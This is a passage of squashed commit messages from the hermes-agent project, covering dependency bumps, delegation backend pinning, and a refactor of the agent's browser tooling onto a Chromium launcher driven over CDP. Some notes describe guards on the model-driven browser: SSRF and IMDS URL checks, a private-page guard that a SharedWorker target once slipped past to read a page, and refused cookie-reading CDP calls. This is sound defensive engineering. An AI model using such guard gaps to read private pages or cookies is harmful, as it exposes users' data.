truststore: 0.10.4 -> 0.10.5 (pins edited: 2; also: {})
uvicorn: 0.41.0 -> 0.54.0 (pins edited: 1; also: {})
uvloop: 0.22.1 -> 0.23.0 (pins edited: 0; also: {})
vercel: 0.7.2 -> 0.12.0 (pins edited: 1; also: {vercel-workers 0.0.25->None, vercel-internal-telemetry 0.7.2->0.8.1, vercel-cache 0.7.2->0.7.6})
watchfiles: 1.2.0 -> 1.3.0 (pins edited: 0; also: {})
ty: 0.0.82 -> 0.0.89 (pins edited: 1; also: {})
ruff: 0.15.10 -> 0.15.22 (pins edited: 1; also: {})
- obstore: 0.8.2 -> 0.11.1
- transformers: 5.17.0 -> 5.20.2
daytona: 0.210.0 -> 0.225.0 (pins edited: 1; also: {daytona-analytics-api-client 0.210.0->0.225.0, daytona-api-client-async 0.210.0->0.225.0, daytona-api-client 0.210.0->0.225.0, daytona-analytics-api-client-async 0.210.0->0.225.0, daytona-toolbox-api-client 0.210.0->0.225.0, daytona-toolbox-api-client-async 0.210.0->0.225.0})
openai: 2.24.0 -> 2.54.0 (pins edited: 1; also: {})
The delegate_task schema is built from the active backend and is cached prompt,
so a session-only /delegation switch changed routing but not the schema.

- Remove the session-only backend override (get/set_session_backend,
  session_delegation_config, the /new boundary clear). delegate_task routes on
  delegation.backend.
- set_global_backend(name, *, session_key='', apply_now=False): saves config;
  apply_now rebuilds that session's tools at its next turn (after the pin
  restore, so fresh agents rebuild too) and re-pins them, one opt-in cache break.
- The undeclared-parameter refusal names the fix: /delegation <b> --now or /new.
- Docs: delegation guide + provider-plugin API table.
A plain /delegation save (or a config.yaml edit) now changes nothing in a running
chat: routing and schema switch together at /new or on a --now rebuild.

- agent._delegation_backend is captured with the tools (agent_init, ACP rebuild,
  refresh_agent_mcp_tools rebuilds incl. --now and compaction) and pinned with
  them to the session row; a fresh agent restoring the pin restores the backend.
- resolve_task_routes routes on it (config.yaml only for agent-less callers).
- set_global_backend(name, *, session_key, apply_now) is unchanged.
- apply_requested_tool_rebuild leaves persistence to refresh_agent_mcp_tools when it
  published, and pins only a backend-only move (review).
- The --now test takes the request on a fresh agent of the session (the gateway's
  next turn), proving the rebuild runs after the pin restore (review).
The worker store validated a tools[] pin as exactly {version, tools}, so a pin
carrying delegation_backend raised invalid_params and left the worker's store
failed for the rest of the turn (every managed-worker test timed out).
A MagicMock agent's attribute made the pin unserializable, so the swallowed
json error skipped the whole re-pin.
Two backends can build the same delegate_task; a rebuild that adopts the other one
publishes no tools, so refresh_agent_mcp_tools now pins the backend change itself
(compaction, /reload-mcp and --now alike) instead of only --now (review).
* fix(desktop): keep native audio/video overflow menus open

Opening the ⋮ menu (Download, Playback speed) of an inline <audio controls>
or <video controls> moves focus into the element's user-agent shadow root,
which is retargeted to the AUDIO/VIDEO host. The floating composer's
focus-follow redirected that focus (on focusin and on the next pointermove)
to the pane composer, so Chromium closed the menu the instant it opened.

Exempt native media controls in keepsOwnFocus, like the inline edit and
transcript text fields.

Fixes #135225

* fix(desktop): name a media player's native Download after the file

A player's own Download saves its hermes-media:// URL, where the path rides
percent-encoded, so Chromium offered the flattened path as the file name
(C__Users_me_Videos_clip.mp4). will-download now names it after the file.

* chore(desktop): keep electron/main.ts at its line cap

---------

Co-authored-by: Teknium <127238744+teknium1@users.noreply.github.com>
New tools/ runtime that replaces agent-browser's one job for browser_exec:
- tools/browser_launcher.py: launch/track/stop the packaged Chromium
  (--remote-debugging-port=0 + DevToolsActivePort, per-(home, key)
  ephemeral user-data-dir, headless default, sandbox-bypass detection),
  parent-first stop, host-wide launch records + identity-checked orphan reap,
  attach to a Chromium already running on a persistent profile.
- tools/browser_session.py (+ _lifecycle, _cloud, _cdp, _real_profile,
  _sandbox): session cache per cache key with the existing creation
  precedence; every session carries cdp_url.
- tools/browser_url_policy.py: URL safety + SSRF helpers.
- browser_lightpanda: using_lightpanda_engine / lightpanda_engine_status.
- bot_desktop.browser reads browser.executable_path / browser.user_data_dir;
  env_for_agent is gone (the launcher passes binary + profile explicitly).
browser_exec no longer shells out to agent-browser: local browsers (real
profile, Lightpanda, packaged Chromium) come from
browser_session.get_session_info, whose sessions always carry cdp_url, and
the cloud fallback_from_cloud path reuses the same local session.
check_fn is browser_exec_available() (browser-harness importable).
Removed is_browser_use_cli_mode, default_downgrade_notice,
set_browser_use_mode, get_browser_backend and BACKEND_DISABLED; the
harness env gets only BROWSER_USE_API_KEY from the profile secret scope.
- browser_vault: supervisor-only (no agent-browser eval fallback); attaches
  on demand to the task's session cdp_url; check_fn = browser_exec available
  or a CDP override.
- browser_cdp: endpoint + SSRF guards from browser_session_cdp /
  browser_url_policy; the private-page probe reads the target's URL over the
  same CDP endpoint; gate = browser-harness importable + CDP override.
- browser_dialog: pending dialogs now arrive in browser_exec results
  (pending_dialogs) instead of the deleted browser_snapshot.
- browser_extension_router serves browser_cdp only.
browser_exec is the only core browser tool (plus browser_cdp, browser_dialog,
browser_vault, all CDP). Deleted: browser_navigate/snapshot/click/type/
scroll/back/press/get_images/vision/console and every module that served
them (browser_tool_session/_lifecycle/_cloud/_cdp/_real_profile/
_lightpanda_fallback/_eval_policy/_origin/_snapshot/_vision) plus
browser_camofox*.py (Camofox ships as the catalog plugin 'camofox').
tools/browser_tool.py and tools/browser_tool_install.py shrink to the
frozen old-updater stub warm_agent_browser_npx_cache.

toolsets: _HERMES_CORE_TOOLS / browser toolset list only the CDP tools.
model_tools: browser_tools legacy alias and the browser_navigate /
browser_type schema rewriters removed. Cloud providers no longer request an
install post_setup hook (nothing to install).
Real launcher against a fake Chromium binary: DevToolsActivePort port,
headless on an ephemeral HERMES_HOME profile, one browser per key, parent
signalled before its helpers on stop, dead browsers dropped, launch failures
reported, orphan reap refuses a pid without the recorded --user-data-dir,
crashed owners' browsers reaped. Session layer: profile A -> B -> A get their
own browsers under their own homes; per-profile cleanup spares the other.
conftest pins the one-shot Chromium auto-install to declined.
Delete tests of deleted surface (bundled Camofox, agent-browser argv/daemon,
browser_navigate/snapshot/click/type/console/vision/get_images handlers).
Port surviving subjects: URL policy floors (IMDS, private, secret-in-URL,
hybrid sidecar) to browser_url_policy and browser_exec's _code_url_verdict;
raw-CDP private-page guard to browser_cdp_tool's Target.getTargets probe;
CDP override resolution/session logging to browser_session(_cdp); vault and
browser_cdp check_fns to browser_exec_available + get_cdp_override_raw; the
extension router to browser_cdp only.
Real profile now launches through browser_launcher on the snapshot copy
(headless, real binary, no password-store/mock-keychain, attach to a
surviving copy-browser); Bot Desktop identity/attach/fence/janitor and
placement tests run against browser_session + the launcher; multiplex
memos read browser_session_cloud; toolset/schema tests use browser_exec.
agent-browser capture, daemon idle timer, browser_console fence and the
bundled Camofox VNC memo tests are deleted with their code.

Kept failing (production): placement tests (browser_session never calls
bot_desktop.runtime.tool_placement) and AIAgent.close tests (run_agent.py
imports the deleted tools.browser_tool_lifecycle).
- janitor force-reap untracks the session (activity + owner + failures)
  before releasing it, so a teardown that keeps failing is not re-reaped
  every third cycle forever.
- orphan reap refuses a record without a start-time fingerprint (never
  signal on argv alone).
- an operator-pinned browser binary, even a missing one, never triggers the
  PM Chromium auto-download.
- local Chromium honours Bot Desktop placement through
  runtime.tool_placement(): refused raises, terminal starts the sandbox
  screen; neither falls back to a host browser.
- running_instance finds the browser pid by argv on Windows (no
  SingletonLock symlink there).
AGENT_BROWSER_EXECUTABLE_PATH is migrated to browser.executable_path
(lane PKG's hermes_cli.browser_runtime reads the config key); the override
tests pin it the way users now do.
Live probe: browser-harness tracks native dialogs in its own daemon
(Page.javascriptDialogOpening on its own target session) and the task's CDP
supervisor never captured one on harness-driven pages, so the field had no
working source. browser_dialog's text now describes what it actually does:
answer a supervisor-held dialog, its error listing candidate ids.
browser_exec is the only core browser path, so there is no Browser Use /
built-in tools switch to flip and no silent downgrade to announce.

- classic CLI, Ink TUI and the gateway browser.manage RPC lose the `use`
  action (contract regenerated: BrowserAction, enabled, browser_use);
- /browser status no longer reports a mode; the Chromium-fallback line for
  Lightpanda and the dead "chrome" engine row go with the built-in tools;
- browser_backend_notice leaves the session snapshot, the CLI banner and
  the canonical contract.

TUI locale packs and _keys.tui.json drop the five slashCmd.ops.browser
keys whose only caller was `/browser use`.
- hermes acp --setup-browser installs pm's chromium (browser_exec's local
  browser), not agent-browser;
- the codex hermes-tools MCP server stops exposing the deleted browser_*
  tools (browser_exec stays out: it runs model-written Python outside
  codex's sandbox and approval UI); /codex-runtime copy follows;
- telemetry: the removed tool names become RETIRED_TOOL_NAMES so the shipped
  schema enums keep them; camofox stays a legacy browser backend label;
- CLI config defaults drop browser.camofox / record_sessions (the camofox
  plugin reads browser.camofox itself);
- learn prompt names browser_exec; stale comments and help text updated.
- run_agent / gateway shutdown / cli + hermes -q atexit / /browser and the
  browser.manage RPC import cleanup_*, emergency_cleanup_all_sessions,
  get_cloud_provider, get_browser_engine, the lightpanda status pair and the
  CDP override + supervisor helpers from tools.browser_session_{lifecycle,
  cloud,cdp} and tools.browser_lightpanda;
- per-turn cleanup reads browser.headed through is_headed_mode() only (the
  AGENT_BROWSER_HEADED fallback is gone with agent-browser);
- tests repointed; tests that only covered browser_vision / the built-in
  tool wrapper are dropped, the browser child env is credential-free per
  the session layer, and the codex MCP list must name core tools only.
Its one caller (tools/browser_tool_install.py) is now the frozen
old-updater stub, and the two bare_which sites the allowlist named there
are gone with it.
Ten browser_* schemas leave every surface (cli.claude: 33 -> 23 tools,
-1735 est. tok, -1384 o200k tok per request); browser_cdp / browser_dialog
descriptions follow the session layer. System prompts unchanged.
browser_navigate is no longer a core tool (the camofox plugin's same-named
tool records as "plugin"), so the built-in-tool telemetry cases use the
surviving browser tool.
AGENT_BROWSER_EXECUTABLE_PATH is no longer an override: the config key from the
active profile replaces it. Adds chromium_missing_hint() (Termux pkg hint, Docker
image hint, else hermes pm install chromium; never npm).
- pm: AgentBrowser class + lock entry gone; Chromium default=True and its env
  exports only PLAYWRIGHT_BROWSERS_PATH (Playwright launches without an
  executable path still need it). A recorded or passed --without agent-browser
  maps to chromium (pm.defaults.RETIRED_DEFAULTS), and pm gc forgets the stale
  agent-browser fact so its store entry is reclaimed.
- install.sh --skip-browser/--no-playwright and install.ps1 -SkipBrowser pass
  --without chromium; undo hint is hermes pm install chromium.
- Docker bakes /etc/hermes/chromium-executable-path; stage2-hook validates it
  and exports nothing; the sandbox-desktop image drops the agent-browser npm
  install and keeps its Playwright Chromium.
hermes tools: the Camofox and separate Browser Use rows and the agent_browser,
browser_use_cli and camofox post-setup hooks are gone; Local Browser's hook is
chromium (pm.ensure("chromium"); Termux and the Docker image get a hint).
Provider picker logic keyed on browser.backend is removed. Doctor's agent-browser
rows become one Chromium row via chromium_executable(); doctor --live, Nous
subscription browser checks and setup summary rows follow.
DEFAULT_CONFIG gains browser.executable_path, user_data_dir and chromium_args;
backend, snapshot_threshold, record_sessions and the evaluate guardrails leave
(REMOVAL NOTE). browser.camofox becomes an empty free-form mapping: the camofox
catalog plugin reads it, set/get keep accepting its keys, and user values are
never stripped. command_timeout now bounds the Chromium launch.

The v52 step (a legacy-key step, so unversioned configs get it too) deletes
browser.backend, with a one-time notice for off, and copies AGENT_BROWSER_* from
the home's own dotenv layers (plus the process env for the launch home only)
into browser.* keys still unset. A path inside pm's store is not copied: pm and
the Docker image exported their own Chromium that way, and pinning a versioned
store path would break at the next Chromium update. CAMOFOX_* and
AGENT_BROWSER_ENGINE leave OPTIONAL_ENV_VARS (the LEFT_CORE row keeps CAMOFOX_*
stripped from children).
New LEFT_CORE row camofox. camofox_in_use reads core's own selection
(is_camofox_mode): a CDP endpoint won, a stored browser.cloud_provider decides
alone, else CAMOFOX_URL in the home's dotenv layers (process env for the launch
home only) or Camofox settings of its own under browser.camofox. A mapping
holding only core's old schema defaults is a template save_config materialised
before it stripped defaults, not use.

LeftCoreFeature.replaces_toolsets: the one-time _left_core_scoped conversion
treats core-era browser as the plugin's camofox toolset (on where core carried
browser, off elsewhere) and turns browser (browser_exec now) off in the home:
saved lists naming browser name camofox instead, and agent.disabled_toolsets
takes browser for platforms on a default composite. A later run never undoes
a choice made since.

CAMOFOX_URL is private_env (an address core kept out of children only through
its category: tool OPTIONAL_ENV_VARS entry, the Tier 2 blocklist, as HASS_URL);
CAMOFOX_API_KEY is secret_env.
browser_exec is the only browser path: the browser.manage RPC 'use' action and
browser.backend are gone, Camofox moved to a catalog plugin and agent-browser is
no longer bundled. Toolset panel tests use still-valid provider rows.
Dogfood QA steps, popular-web-designs verification lines and tool-name mentions
now use browser_exec idioms; hermes-agent configuration reference matches the new
browser config contract (executable_path / user_data_dir / chromium_args, Camofox
via 'hermes plugins install camofox'). Regenerated skill pages.
unbroker's browser_backend 'agent-browser' value becomes 'local' (legacy value
mapped on load); har-derived-api-client, sketch, finance, web-pentest, page-agent
and others drop agent-browser / Camofox-in-core text. Regenerated skill pages.
Rewrite the browser feature page, configuration, tools/toolsets/env-var/pm
references, docker, windows, bot-screen, termux/installation and the secondary
developer-guide/integration/feature pages (EN + zh-Hans): drop agent-browser,
the built-in browser_* tools, browser.backend and /browser use; document
browser.executable_path / browser.user_data_dir / browser.chromium_args and the
AGENT_BROWSER_* migration; point Camofox users to 'hermes plugins install camofox'.
- locales: drop the /browser use, Browser Use mode and agent-browser status keys whose callers are gone;
  reword status/usage/description lines and tips t180-t182 (contiguous tip keys kept) in every locale.
- browser_launcher: a bare command name in browser.executable_path resolves through hermes_platform's
  locate_command (no shutil.which); the LANE fallback for chromium_missing_hint is gone.
- browser_cdp: drop the Camofox sentences from its description and error.
- shared metrics: record_browser_call loses the extension-controller wrapper (no browser_* tool routes
  through it any more) and browser_exec's registry handler calls it, so the browser execution-backend
  series keeps reporting for the only browser path.
- test_profiles: the clone/live-browser test uses browser_launcher.running_instance.
An entry's env is derived from the package code, not its bytes, but pm
recorded it once at install time and served it from then on. A store built
before Chromium stopped exporting AGENT_BROWSER_EXECUTABLE_PATH kept the old
env, and build admission (verified_tools) compares the recorded env with the
code's, so the Desktop bundle job refused the restored cache: "chromium: tool
source failed verification: binary or environment".

prepare/_install's already-current branch now re-records the env when it
differs. The recorded digest still vouches for the bytes, so nothing is
re-fetched.
main gave the root/Docker/AppArmor sandbox bypass only to the Chromium agent-browser launched (packaged,
pinned, Bot Desktop) and never to the real-profile Chrome/Edge/Brave; launch_chromium now threads an
explicit sandbox_bypass flag that the real-profile launch turns off.
Chromium launch records move to <HERMES_HOME>/cache/browser/chromium-records (0700, used only when it is
a real dir of this user closed to other writers), the reaper removes only dirs under that home's 0700
ephemeral root, and it walks every profile the process serves (launch home, launched-for homes, session
owner homes) by path, since the janitor and atexit run outside any profile scope.
The next process attaches to a surviving persistent-profile / Bot Desktop Chromium, but the record still
named the dead owner, so the reapers killed the browser that process had just handed out. Attach (and any
reap of a browser tracked here) now rewrites the record to this process.
Two Hermes processes on one profile (CLI + gateway) launch the same keys (browser-exec-default, named
sessions); the shared dir let each launch wipe the other's live profile. The owner pid joins the dir name,
and the reap removes a gone owner's throwaway dir even when its browser died too (no launch reuses it).
_terminate first imported tools.process_registry lazily; in a bare consumer (script, eval) that first
import happened inside atexit, where Python refuses new atexit registrations, and the browser outlived
the process. The launch path now loads it.
A Chromium that exited during startup was handed to _terminate as an unreaped zombie, which refused the
"recycled" pid and logged a misleading WARNING on every failed launch. poll() reaps it first.
The pin wins over pm's Chromium, so "run `hermes pm install chromium`" could never help; the hint now
names the configured path to fix or clear.
The guard matched only page targets, so a SharedWorker target_id of a private page (or a bogus id)
passed and fetch('/') read the page. Judge the acted target's own URL; non-page/unknown/target-less
calls are refused while any page is private, and an unreadable target list refuses too.
Cache keys on one persistent profile share a launcher key; after a crash another key relaunches it and
this key saw a live browser while still holding the dead cdp_url. Dead now also means the live browser's
cdp_url differs from the session's.
Sessions placed in the terminal sandbox all attach to one in-sandbox Chromium, but teardown of the
session that launched it SIGTERMed it under the others. Sandbox sessions now share a per-profile
launcher key (same in-use check as host profiles; the launch pid + env are kept per key), and
_backend_dead rebuilds once that Chromium is gone, relaunched or behind a new port forward.
REAL_PROFILE_KEY was process-global: under multiplex any consent-off profile's local session stopped
another profile's live real-profile browser, and a consenting profile reused another's cookie jar.
The key is now hermes-real-profile@<home>; real-profile sessions carry it as launcher_key so the
staleness check applies (they still outlive their sessions until exit / consent-off).
_LOCAL_SUFFIX, browser_in_sandbox() and is_local_mode() had no production caller; the tests that
patched browser_in_sandbox now pin the real placement seam (runtime.tool_placement) and the
is_local_mode assertion checks is_local_backend, the predicate production uses.
A leftover browser.camofox block (managed_persistence: true) with no CAMOFOX_URL ran browser_exec on
main (is_camofox_mode: CDP override, stored cloud_provider/use_gateway, else CAMOFOX_URL); counting
it converted the home to a plugin that cannot run, leaving it with no browser. Raw config as main read it.
The row ran on every start forever, so a v52 user who installed the camofox plugin and set
CAMOFOX_URL had browser_exec silently disabled. It now fires while config.yaml is below v52, or
when the v52 config step (which runs first on update/Desktop/Docker) recorded Camofox in use.
AGENT_BROWSER_ENGINE/HEADED won over engine: auto / headed: false on main (and main's hermes tools
row wrote engine: auto), an unquoted backend: off (YAML False) was off, and a relative
AGENT_BROWSER_PROFILE was cwd-relative; v52 dropped the first, skipped the notice, re-anchored the third.
hermes update migrates siblings quietly and printed only the version line, so a sibling never saw
what its steps changed (v52's backend: off notice, moved agent-browser settings). They now print
under that profile's line, like the active profile's quiet path; the return shape is unchanged.
Main counted CAMOFOX_URL as a direct browser setup so the managed browser was offered, never
pre-checked; the PR dropped it with the core backend, but those users still browse through Camofox
(now its plugin). Restores main's assertion the PR removed.
engine: auto / headed: false yield to AGENT_BROWSER_*, a relative profile is pinned, unquoted
backend: off gets the notice, and only pre-split Camofox homes (CAMOFOX_URL or cloud_provider) convert.
Model-facing text, startup tips (all 17 locales; the tips probe needs contiguous keys, so the
five stale tips are rewritten to live browser.* features), .env.example, developer-guide file
maps and the provider parity script still named browser_navigate/vision/console, record_sessions,
agent-browser/AGENT_BROWSER_* and the deleted browser_tool* modules.
Its only callers were the deleted browser_type handlers (browser_tool.py, browser_camofox.py);
nothing in core, tests or the camofox plugin calls it now.
The handler named the configured cloud provider for every call, so hybrid ::local sidecar, cloud
fallback and real-profile calls counted against browserbase. The test now drives the real
_handle_browser_exec instead of rebuilding the wiring.
Routed-profile harness credential (B's BROWSER_USE_API_KEY, never A's; flag-off miss is no key),
headless default read from a real config.yaml, the expiry test's order of teardown vs replacement,
doctor --fix / Termux gates on Chromium acquisition, and the Windows argv singleton scan.
The broker's capability allowlist named only the deleted browser_navigate/click/type/... tools, so a
bound extension controller silently did nothing (review P1-1); owner ruling: remove the feature.
Drops the broker, artifact store, extension router, /v1/browser-control + /v1/artifacts routes,
browser.controller.* RPCs/events (contracts regenerated) and the per-request controller identity.
The authenticated-identity helpers bot relay and session ownership still use move to
gateway/session_identity.py; persisted API admissions carrying 'browser_control' still recover.
Nothing reads the key since browser-extension control was removed; the existing v52 step (a
legacy-key step, so unstamped configs get it too) now strips it from user config.
The API-server section now says the controller protocol is gone and that browser_exec over CDP
(`browser.cdp_url` / `/browser connect`) is how to drive your own browser; the integration
guide's endpoint list and link follow, and the metrics table marks `extension` as a legacy label.
N1 (re-review of #143146). sandbox_browser_alive read any non-zero exec exit (a docker/ssh
transport error) as "Chromium dead": the session was rebuilt and, as the last user, its
teardown SIGTERMed a browser that was still running. A probe timeout raised TimeoutExpired
out of get_session_info, so browser_exec failed. Every browser call also paid one exec in
the sandbox.

- The probe script exits 3 only when the sandbox itself answers "not running" (no
  DevToolsActivePort, or nothing listens on its port). Any other failure, including a
  timeout, is "unknown" and keeps the session.
- Creating a session refuses to launch on an unknown answer instead of wiping a live
  browser's DevToolsActivePort and losing to its singleton.
- A confirmed endpoint is cached. The port forward now counts connections that never
  reached the target, and the session is re-probed only after that count changes (or the
  sandbox was replaced), so a healthy call spends no exec.
N2 (re-review of #143146). The shared sandbox Chromium's launcher key was
`sandbox:<profile home>:<profile dir>`, but the Chromium belongs to the container:
- profiles sharing one container (terminal.docker_shared_container_key) got different keys
  for the same browser, so one profile's teardown killed the browser the other still used;
- with one container per session (container_persistent: false) every container's browser
  got the same key, `_launched` kept only the last, and the first container's Chromium was
  never stopped.

The key is now the container's env object (its port forwards keep it alive, so the id is
never reused while a session names it) plus the profile dir: profiles in one container
share one refcount, and a per-session container's browser stops with that session.
N3 (re-review of #143146). _predates_split read a missing or unstamped config.yaml as "a
home from after the split", so main's Camofox users with CAMOFOX_URL in .env alone, or with
a hand-written config, silently fell back to the packaged Chromium. Worse, any plain config
write before the first left-core pass (`hermes config set`, a model switch) stamped an
unstamped config at 52 without running the v52 step, so the home looked new for good.

- A missing or unstamped config.yaml now predates the split: every config.yaml Hermes writes
  carries a stamp, so only a pre-split home lacks one.
- The first save that stamps a config.yaml outside a migration
  (config_version_stamp.note_first_stamp, called from save_config) records the left-core
  rows the skipped steps would have found in use, exactly as the v52 step does. A frozen
  worker never reads profile files there; its owner migrates the home.
N4 (re-review of #143146). A Nix-managed config.yaml is stamped with the package's
_config_version (52) at activation (nix/moduleCommon.nix::mkConfigFiles), so neither the
stamp nor the v52 step shows that the home ran core's Camofox. The left-core pass skipped it
entirely: no conversion (right; Hermes cannot write a managed config anyway) and no notice
(base printed one), so Camofox just stopped.

Detection no longer hangs on the stamp alone: a home that uses a left-core feature, lacks its
plugin and is stamped past the split now gets the "moved out of core ... run `hermes plugins
install <name>`" notice, without any conversion or automatic install. Starts repeat it on
the per-home install backoff stamp (an hour, doubling up to a week); `hermes update` always
says it.
N6 (re-review of #143146). The browser-extension control removal keeps `browser_control` in
check_api_turn's allowed api_turn_v1 keys so admissions persisted before the upgrade still
load, but no committed test covered it: dropping the key would fail every such queued turn
with invalid_params and nothing would go red.

The test stores a queued API admission whose payload carries browser_control, restarts the
authority's view of the session, runs startup recovery (recover_api_turns, which validates
every queued row through check_api_turn) and executes the row through execute_admission
(prepare_api_execution): the turn is scheduled and runs, and the key reaches nothing.
Removing 'browser_control' from the allowed set fails it (recovery pauses the session).
N5 (re-review of #143146). When the Hermes process that launched a persistent-profile
Chromium (browser.user_data_dir, the Bot Desktop profile, the real-profile copy) exited
normally, stop_browser SIGTERMed it even though another live Hermes process had attached to
it and was still driving it. A third process's reaper did the same after a launcher crash.

- Attachers leave a lease beside the launch record in the profile's private records dir
  (tools/browser_launcher_holders.py), under a cross-process lock on that dir.
- stop_browser on a shared-profile browser drops this process's hold; while another live
  process holds it, the record is handed to that holder instead of the browser being
  killed. The last holder (launcher or attacher) stops it, but only one Hermes launched: a
  human-started browser is never stopped.
- The reaper hands a crashed launcher's record to a live holder; holders that crashed are
  dropped by pid + start time, never by pid alone, and their leases are swept.
- tools.process_registry is now imported on the attach path too: an attacher that ends up
  the last holder stops the browser from its atexit teardown, where a first import fails.

Live (real Chrome, two processes on one profile, each exiting through the normal teardown):
before, A's exit killed the browser C was using (`C still sees its browser alive: False`);
after, it survives A's exit and C's exit stops it, with no record or process left.
N7 (re-review of #143146). Throwaway profiles are per process (`<digest>-<pid>`), so no later
launch wipes another process's dir. A process that died between creating its dir and
writing the launch record (a first launch can wait 120 s) left no record, and nothing ever
removed the dir.

The dir name now carries the owner's start time too (`<digest>-<pid>-<start>`), and the
orphan reap (janitor at startup and on its interval, and at exit) removes every throwaway
profile in a served home's private ephemeral root whose owner is gone by pid + start time.
A live owner's dir is never touched; a name without a start time is reclaimed only once its
pid is gone; nothing outside the ephemeral root, and no symlink, is followed.
stop_browser() did not take the key's launch lock. Once it had signalled the
old browser, a concurrent launch_chromium() of that key saw it dead,
registered a replacement on the same per-process throwaway dir, and the
stop's _forget() then dropped the replacement from the registry and deleted
its profile (an untracked, running Chromium).

stop_browser() now holds the key's launch lock, and _forget() drops registry
entries only while they still name the browser being forgotten.

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351612939
The launch record was written only after the readiness wait (up to 120 s on a
first launch). A Hermes process killed or interrupted during it left a
detached Chromium nothing knew about: the throwaway dir was reclaimed, the
browser kept running.

The record is now written right after the spawn, the starting browser is
tracked so this process's own reaper leaves it alone, and an interrupted or
failed wait stops it and drops the record before returning or re-raising.

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351613145
With browser.headed and bot_desktop.auto_start on a headless host, the first
local launch picked its target (no screen yet, so a throwaway profile) and
only then started the screen. Chromium opened on the Bot Desktop with a
different cookie jar from the dock's Browser icon. The screen now starts
first, so the launch selects the shared Bot Desktop profile.

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351612954
A home with CAMOFOX_URL and agent.disabled_toolsets: [browser] had its saved
browser entries renamed to camofox while the global disabled list kept only
browser. Plugin toolsets are on by default, so the migration turned browsing
back on everywhere. When a replaced toolset was already disabled, the
plugin's toolsets are now disabled with it.

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351613130
The browser-specific 51 -> 52 step (AGENT_BROWSER_* readers, value
conversions, the step itself) pushed hermes_cli/config_migrations.py past
1,000 lines. It moves verbatim into a focused sibling; the registry stays in
the facade and registers migrate_to_52 from there (903 lines now, main 898).

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351612878
The tools reference and the browser page said all four browser tools work on
launched and cloud sessions. browser_cdp and browser_dialog are gated on a
static endpoint (_browser_cdp_check: /browser connect, BROWSER_CDP_URL or
browser.cdp_url) and are absent otherwise. The pages (and their zh-Hans
mirrors) say so again; "Requires environment" is back to "CDP endpoint".

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351613180
test_orphan_reap_stops_a_crashed_owners_browser polled DevToolsActivePort with
a nonzero sleep and fell through at its deadline, so a fake that died during
startup surfaced as "assert 0 == 1" on the reaper. The wait is now
tests.waiting.wait_until and a startup exit fails with its code and output
(A/B with a fake exiting 9: before "assert 0 == 1", after "the fake browser
exited during startup (9): FATAL: ..."). _gone() uses wait_until too.

Review: https://github.com/NousResearch/hermes-agent/pull/143146#discussion_r4351613199
The confirmed-alive cache now expires after _CONFIRMED_TTL_S (30 s) and the port forward counts an
HTTP 404 on /devtools/browser/<id> as a forward failure, so a session cached on a relaunched sandbox
Chromium is rebuilt instead of kept. Healthy calls inside the TTL still spend no exec.
create_sandbox_session now owns the detached Chromium under its shared key the moment it is spawned
and stops it when the port wait, the forward or an interrupt (BaseException) fails, so a timeout no
longer leaves an unowned browser running that stop_sandbox_browser cannot reach.
create_sandbox_session holds a per-container lock across the liveness check, the launch and the
ownership claim (and stop_sandbox_browser across the stop), so two sessions first using one container
no longer both see no browser and both launch Chromium.
_wait_for_port treats a docker/ssh exec that times out as one more not-ready answer (the launch
deadline decides readiness), and stop_sandbox_browser swallows TimeoutExpired like any other exec
failure, so a slow sandbox cannot crash the teardown.
The fail-closed private-page guard now allow-lists Target.createTarget (its url held to the same
check as Page.navigate), Target.activateTarget and Target.closeTarget, so one localhost tab no
longer blocks opening a new tab. Every other target-less call (Network.getAllCookies,
Browser.setDownloadBehavior, ...) is still refused while any page is private.
The real-profile launch lock is now one lock per profile home (keyed by hermes_home_key, created
under a guard lock) instead of one process-wide lock, so a second profile no longer waits up to
30 s and then falls back to a signed-out browser. The stale-holder test now holds the launch through
a blocked stub instead of the private lock and covers both profiles.
The deadline-and-time.sleep loops this PR added (sandbox port forward, bare-consumer exit, orphan
reaper start time, PM child env) now poll through tests.waiting.wait_until with a named condition.
A host CLI attaching to a container gateway's shared-profile Chromium (one lock dir, one network) named the
launch record with its own namespace tag, so its lease landed under a record name the gateway never globs:
the gateway's stop missed the hold and killed Chromium under the CLI. The attacher now finds the record
already naming the browser in the profile's state dir (this namespace's first, else another's on the same
pid) and keeps that identity on the LaunchedBrowser for its lease, drop and stop; only the holder part of
the lease name carries the writer's tag. A foreign-namespace holder still counts as live and is never
dropped.
Target.createTarget{url: "about:blank"} was refused as a private address: url_blocked rejects every
non-http scheme, so a model could not open the blank tab Hermes's own helpers start from before installing
scripts or navigating. about:blank (and an empty or omitted url, Chrome's same default) is allowed; any
other url still goes through Page.navigate's check, so network URLs and other schemes (file:, data:) stay
refused.
The snapshot overlay (the user's Cookies / Login Data copied onto the profile copy) ran after an unlocked
running_instance probe and before the launcher took the copy dir's lock, so two Hermes processes of one
profile could both see no browser and copy into the same snapshot dir at once, or one could copy under the
copy-browser the other had just started. launch_chromium takes a prepare step that runs under the
shared-profile lock right before a fresh launch (never when attaching); the real-profile launch passes its
snapshot there, so the later process waits, then attaches without re-copying. Another profile's copy dir
has its own lock and never waits. The real-binary check now precedes the copy, so a missing binary no
longer copies credentials for nothing.
A literal 52 fails at the next schema bump although the migration works (tests/AGENTS.md bans
fixed _config_version assertions); 51/52 stay only as input fixtures naming the split.
browser.user_data_dir, chromium_args, cloud_provider and every other browser.* knob were read with
read_raw_config, which skips the managed overlay and ${VAR} expansion: a managed profile pin or
flag set was ignored, and ${HOME}/chrome-profile became a literal dir under HERMES_HOME. The session
layer's one reader (browser_session_cloud.browser_section) now uses load_user_config_effective, and
the other raw browser.* reads go through it or the same loader: browser_exec's cloud routing
(browser_use_cli._read_browser_cfg), the real-profile pin (browser_connect._browser_setting) and
/browser status's cdp_url (methods_browser, now browser_session_cdp.get_cdp_override_raw). Tests
that stubbed read_raw_config for browser.* now stub the effective loader.
The sandbox launcher kept only (env, pid) and later ran kill -TERM on that number: after a Chromium
crash a persistent sandbox or ssh host can reuse the pid, and stale-session eviction or idle cleanup
would stop an unrelated job. The launch exec now also reads the browser's start time inside the
sandbox (/proc/<pid>/stat field 22), and the stop is one exec that re-checks the start time and the
exact --user-data-dir argv token before signalling. A pid whose identity no longer matches, or
whose start time could not be read at launch, is left alone and logged.
running_instance() required the SingletonLock pid to be a live process here, but a container's
